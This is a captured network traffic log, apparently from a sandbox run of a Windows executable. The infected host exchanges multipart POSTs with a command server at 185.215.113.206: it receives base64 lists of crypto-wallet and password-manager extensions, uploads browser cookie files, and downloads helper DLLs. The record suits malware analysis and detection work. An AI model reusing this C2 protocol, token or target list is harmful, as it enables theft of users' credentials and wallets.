Dec 20, 2024 16:06:23.255579948 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="message"plugins------DAFIEHIEGDHIDGDGHDHJ--
Dec 20, 2024 16:06:23.701672077 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 20, 2024 16:06:23.701756001 CET	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Dec 20, 2024 16:06:23.701767921 CET	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Dec 20, 2024 16:06:23.701862097 CET	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Dec 20, 2024 16:06:23.701875925 CET	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Dec 20, 2024 16:06:23.701888084 CET	1236	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Dec 20, 2024 16:06:23.710195065 CET	940	IN	Data Raw: 59 57 78 73 5a 58 52 38 59 32 35 75 59 32 31 6b 61 47 70 68 59 33 42 72 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 Data Ascii: YWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2N
Dec 20, 2024 16:06:23.711755991 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 2d 2d 0d 0a Data Ascii: ------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="message"fplugins------ECBGCBGCAFIIECBFIDHI--
Dec 20, 2024 16:06:24.157869101 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 20, 2024 16:06:24.176731110 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJE Host: 185.215.113.206 Content-Length: 6595 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:06:24.176798105 CET	6595	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 20, 2024 16:06:25.149468899 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 16:06:25.442612886 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 20, 2024 16:06:25.879966021 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 20, 2024 16:06:25.880244017 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 20, 2024 16:06:25.884057999 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49721	185.215.113.206	80	5044	C:\Users\user\Desktop\R2CgZG545D.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:06:35.219189882 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBFCGIDAKECGCBGDBAF Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CFBFCGIDAKECGCBGDBAF--
Dec 20, 2024 16:06:37.060983896 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 16:06:37.191651106 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFBFBGHDGDAKECAKJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="file"------CGCFBFBGHDGDAKECAKJE--
Dec 20, 2024 16:06:38.131174088 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49769	185.215.113.206	80	5044	C:\Users\user\Desktop\R2CgZG545D.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:06:49.915582895 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 35 63 35 65 33 31 66 62 39 37 33 30 63 66 36 34 38 66 36 39 35 62 39 36 66 33 37 33 36 39 39 31 61 63 64 61 32 33 63 35 61 32 65 64 38 39 31 34 66 36 38 36 62 30 63 65 65 62 61 33 38 62 66 62 64 33 33 64 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="token"655c5e31fb9730cf648f695b96f3736991acda23c5a2ed8914f686b0ceeba38bfbd33d30------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="file"------KFCGDBAKKKFBGDHJKFHJ--
Dec 20, 2024 16:06:51.749875069 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 16:06:52.198093891 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 20, 2024 16:06:52.643100977 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:06:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 20, 2024 16:06:52.643142939 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
